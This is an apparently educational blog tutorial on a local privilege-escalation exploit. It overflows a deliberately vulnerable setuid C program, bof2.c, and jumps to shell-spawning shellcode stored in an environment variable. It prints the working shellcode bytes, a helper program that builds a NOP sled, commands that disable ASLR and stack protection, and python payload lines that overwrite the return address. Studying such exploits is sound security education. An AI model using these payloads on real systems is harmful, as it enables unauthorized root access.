Last time we visited this topic, we made use of a large buffer to place our shellcode in the process' memory. This time, we don't have such a large buffer, and so won't be able to simply inject the code we want to execute via the program's input. Instead, we'll place our shellcode in an environment variable.
We'll first introduce the toy program we're going to subvert, and compile it in a vulnerable fashion. Then we'll cover a little background on how and why we can use environment variables in place of input. Next we'll create a helper program to place the shellcode and help us figure out where it's located in memory, and finally execute our exploit.
Let's get started!
Environment and Code Setup:
Our vulnerable toy program, bof2.c, has a very small buffer, too short unfortunately to fit shell spawning shellcode into. However it does (kindly) call setuid()
, so we'll be able to get root(!):
#include <unistd.h>
int main() {
setuid(0);
char buf[10];
gets(buf);
printf("Got string: %s\n", buf);
}
Just as we have in the past, we're going to disable ASLR, and compile our vulnerable program without stack protections. We're also going to set the suid bit on the executable, and make root the owner of the file:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
$ gcc -fno-stack-protector -z execstack bof2.c -mpreferred-stack-boundary=2 -g -o bof2
$ chown root bof2
$ chmod +s bof2
A Little Background:
In Linux, a 'program' is stored on disk as an 'Executable and Linkable Format' file, or ELF. A very specific series of actions occur any time an ELF is loaded into memory in preparation for execution. Among many other steps, the kernel allocates memory for the new process' stack and then pushes any arguments passed (including the program's name), and the environment onto that stack. Because of this, there's no fundamental difference between placing our shellcode in the injected data, or in the environment; they're both on the stack. We simply need to figure out at what address our environment variable is located.
An excellent article covering how ELFs are loaded in Linux can be found here.
Creating, Placing and Finding an Environment Variable:
To view what variables (vars) are currently set in your shell, you can use printenv
:
$ printenv
LANG=en_US.UTF-8
DISPLAY=:0
SHLVL=2
...
To set a shell var i.e. an environment var, from the command line, you can simply assign a value to a symbol like you would in any other language. Note the following:
- To print the value of a shell var, you can use
echo
. - When accessing a var, symbols are prefixed with
$
- Assignments are not prefixed
- Be careful of spaces (they are special characters!)
$ MYVAR=10
$ echo $MYVAR
10
$ MYSTRING="Hello World"; echo $MYSTRING
Hello World
Vars set this way are transient, and won't persist beyond the current shell session.
The same can be done with C. We'll start by creating a file called setupegg.c which we'll eventually use to prepare our environment for exploitation. 'Egg' is a very common term for any kind of stored value or code, per general 'shell' terminology. I imagine it's not entirely coincidental that the term for a 'hidden cool' in video games is 'easter egg'.
#include <stdlib.h>
#include <string.h>
int main() {
/* Declare a string */
char* egg="This is my egg.";
/* Assign and place the variable in the environment, and overwrite if exists */
setenv("EGG", egg, 1);
/* Spwan a shell with the above modified env */
system("bash");
return 0;
}
In order for the environment settings to take effect, we need to spawn a new shell, which we do with the system()
function.
If we compile and run this, we'll see the following:
$ gcc setupegg.c -o setupegg
$ ./setupegg
$ printenv | grep EGG
This is my egg.
$ exit
Great. Now what about our egg's address? We need to spawn a new shell before the egg is in fact set, but system()
only returns when it has completed, which in this case happens when we exit the spawned shell. To solve this, we can simply print our egg's address if it's set, and then run our program twice.
While we're at it, let's also include the real shellcode. We're going to use the same shellcode as we did in the last tutorial, which is suited to work with gets()
:
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
* This is not my own creation, and can be found here.
Lastly, we're going to implement what's called a 'NOP sled'. A NOP sled is a sequence of NOPs, or 'No Instruction' operations. On an x86 architecture, 90
is the opcode for 'No Instruction' and when the processor encounters one it simply moves on to execute the next instruction. Because of this, a long sequence of them can be used as a kind of jump assistant, reducing the specificity required to successfully execute injected code. Instead of needing to perfectly jump to the right byte, we're able instead to jump to any of the NOPs, and then 'slide' toward the code we want to execute.
To test drive the NOP sled idea, we've added the capability to create an arbitrarily large sled in our setupegg.c program. For now however, we won't use it. Our environment variable will contain exactly the code we're trying to execute and nothing else.
The final setupegg.c will look something like this:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
char code[] = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53"
"\x68/tty\x68/dev\x89\xe3\x31\xc9\x66"
"\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0"
"\x50\x68//sh\x68/bin\x89\xe3\x50\x53"
"\x89\xe1\x99\xb0\x0b\xcd\x80";
int main() {
/* Print addr of egg if exists */
char* egg;
if (egg = getenv("EGG")) {
printf("Egg is at addr 0x%x\n", egg);
return 0;
}
/* Declare buffer to hold nop sled and egg */
size_t buf_size = strlen(code); // strlen(code) == no sled
char buf[buf_size];
/* Fill with nops */
memset(buf, 0x90, buf_size);
/* Place shellcode at the end of buf */
memcpy(&buf[buf_size-strlen(code)], code, strlen(code));
/* Assign and place the variable in the environment, and overwrite if exists */
setenv("EGG", buf, 1);
/* Spwan a shell with the above modified env */
system("bash");
return 0;
}
Running this will produce something like the following:
$ ./setupegg
$ ./setupegg
Egg is at addr 0xbffffecd
Armed with both environmental shellcode, and its address, we're ready to proceed to craft our exploit.
The Exploit:
Let's fire up gdb. I'm using gdb enhanced with peda, which you can find here.
To start, let's just clobber the stack with 'A's. Since our overflowable buffer is only 10 bytes long, and there aren't any arguments being passed, let's try writing 24 'A's. Before using python to create our string, we'll break on printf:
Now let's step through a little bit by using n
to step by source line. Once you've gotten through the printf routine, you can step by instruction using si
. What we're interested in is the state of the program after executing leave, and before executing ret:
Here we can see that the top of the stack contains a word and a half (6 bytes) of A's. Now if we continue execution, we'll see it tries to jump to 0x41414141, and that there are two A's left on the stack:
This means that our overflow is successful, and also tells us precisely where we want to place our address! 24 (total) - 2 (extra A's on stack) - 4 (for size of address) = 18. So we should place our address after 18 A's!
Let's test this with the ubiquitous 0xdeadbeef address. Recall that because our x86 processor is little endian, we need to reverse the order of the bytes, and we can do that by slicing the array in python:
r < <(python -c 'print "A"*18 + "\xde\xad\xbe\xef"[::-1]')
Running that to completion in gdb indeed tries to jump to 0xdeadbeef, so we know where to put our address!
Now let's load up our egg. Before starting gdb, run setupegg:
$ ./setupegg
$ ./setupegg
Egg is at addr 0xbffffedb
In gdb, we'll use peda to easily find the egg's address. Break on printf, run until the break point, and then use peda's searchmem function to find the location our EGG:
Now that we know our egg is at 0xbffffeca, we can now craft our exploit in gdb:
r < <(python -c 'print "A"*18 + "\xbf\xff\xfe\xca"[::-1]')
And we see that a shell was started!
All that's left now is to replicate our success outside of gdb. Having run our setupegg program already, we know our egg's address is 0xbffffedb. We can therefore craft the following:
$ python -c 'print "A"*18 + "\xbf\xff\xfe\xdb"[::-1]' | ./bof2
However nothing happens - no shell, no print. So what happened?
A typical candidate here is alignment, and so on a whim we can try to increment our jump target to see if we were off by only a couple bytes.
Python can be used here to calculate the address in hex (though it's not particularly difficult) like so:
$ python
>>> hex(0xbffffedb + 8)
'0xbffffee3'
Despite being a little annoying, that wasn't too hard. However it illustrates the incredibly picky nature of the entire activity. Enter the NOP sled. If instead of needing to get the address correct down to the byte, we could be off by hundreds of bytes and still have it work, we could potentially save a lot of time.
Let's modify setupegg.c to create place our shellcode on a 1024-byte sled:
...
/* declare buffer to hold nop sled and egg */
size_t buf_size = 1024;
char buf[buf_size];
...
Performing the same procedure yields the following:
Woot!